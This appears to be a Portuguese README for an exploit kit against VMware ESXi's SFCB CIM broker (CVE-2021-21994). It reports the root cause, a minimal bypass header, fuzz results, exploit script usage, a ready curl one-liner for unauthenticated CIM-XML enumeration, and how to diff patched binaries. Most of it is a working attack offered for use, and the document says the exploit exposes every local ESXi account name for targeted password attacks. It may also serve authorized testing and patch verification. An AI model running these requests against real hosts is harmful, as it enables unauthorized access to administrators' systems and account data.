
Valida e explora o bypass de autenticação SFCB do VMware ESXi (CVE-2021-21994) por meio de um harness de probe/fuzz, permitindo enumeração CIM-XML não autenticada.
| Campo | Valor |
|---|
| Tipo | CWE-287 Autenticação Incorreta (bypass de autenticação) |
| Componente | SFCB (Small Footprint CIM Broker) dentro do VMware ESXi |
| Vetor de ataque | Rede, TCP 5989 (CIM-XML sobre HTTPS), "requisição especialmente elaborada" |
| Afetados | ESXi 6.5 / 6.7 / 7.0 anteriores ao VMSA-2021-0014 (julho de 2021) |
| Correção | builds corrigidas do VMSA-2021-0014 |
| PoC Público | Nenhum. A VMware nunca divulgou o formato da requisição |
Referências: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
Como não existe PoC, este kit é um harness do tipo 'encontre-você-mesmo': sfcb_probe.py valida um oráculo (check) e, em seguida, lança um dicionário de mutação direcionado em /cimom (fuzz) e sinaliza qualquer 200-com-corpo-CIM obtido sem credenciais válidas.
Use apenas contra sua própria VM de laboratório ou alvos explicitamente dentro de um escopo de compromisso autorizado.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
O bypass foi encontrado. Causa raiz: o sfcbd falha em aberto quando o token de autenticação Basic não é decodificado em um par user:password contendo um :.
Cabeçalho mínimo de PoC (base64 de root, sem dois-pontos):
Authorization: Basic cm9vdA==
Matriz de evidências da execução do fuzz:
| Formato da requisição | Status | Significado |
|---|---|---|
sem cabeçalho / user:pass b64 válido / : / root: | 401 | dois-pontos presentes → autenticação executada → rejeitado |
b64("root") (sem dois-pontos) | 200 + corpo CIM | sem dois-pontos → autenticação ignorada |
b64("\0:\0") (string C vazia) | 200 | igual: sem dois-pontos |
base64 inválido (espaço / BOM / prefixo Basic) | 200 | falha na decodificação → autenticação ignorada |
Basic\tTOKEN (separador de tabulação) | 401 | a divisão por any-WSP é processada corretamente → autenticação executada |
Basic␣␣TOKEN (espaço duplo) | 200 | divisão por espaço único → token começa com espaço → falha na decodificação |
Uma resposta 200 carrega um envelope CIM-XML despachado dentro do CIMOM (por exemplo, ERROR CODE="5" Class not found), provando que a camada de autenticação HTTP foi ultrapassada — a requisição idêntica sem o cabeçalho malformado retorna 401.
Uso do exploit:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
comando curl de uma linha para capturas de tela do relatório:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
Impacto: acesso de leitura não autenticado ao broker CIM:
VMware_Identity vazam todas as contas locais do ESXi (observado no laboratório 6.5: root, dcui, vpxuser — host gerenciado pelo vCenter — além de usuários personalizados), permitindo ataques direcionados de senha.VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) declaram métodos de perfil DMTF (AssignRoles, AssignAccess, ...) mas expõem nenhuma instância — os métodos são apenas de esquema. A criação/modificação de contas via CIM não é possível com este CVE; o teto de impacto é a divulgação não autenticada de informações.Vereditos:
BYPASS-STRONG — HTTP 200 + corpo CIM-XML sem credenciais válidas → você
encontrou o bypass; a requisição despejada é sua primitiva de exploit.bypass-weak(200-no-cim-body) — 200, mas sem corpo CIM; inspecione o dump.blocked / info(400) — rejeitado. Observação: um 400 normalmente significa que a requisição
morreu antes de a autenticação ser avaliada — ainda é interessante, apenas não é um bypass.Observação sobre corpos CIM feitos à mão: de acordo com a DSP0200, EnumerateInstanceNames exige o IPARAMVALUE ClassName. Um corpo sem ele pode ser rejeitado por motivos não relacionados à autenticação e envenenar o oráculo — o harness sempre envia o corpo correto segundo a especificação.
O fuzzer cobre as formas clássicas de confusão do parser de autenticação HTTP. Se nenhuma atingir, o caminho restante (e definitivo) é a diffing binária:
esx-base de uma build vulnerável (por exemplo, classe 6.5.0 GA) e uma
build 6.5/6.7/7.0 corrigida pelo VMSA-2021-0014 do índice público de depósito da VMware:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar → carga útil vib → cpio), faça o diff
dos binários sfcbd* com Ghidra + BinDiff.sfcb da SBLIM no SourceForge) é uma
referência estrutural útil para o caminho de código HTTP+auth, mesmo que o fork do ESXi
seja modificado.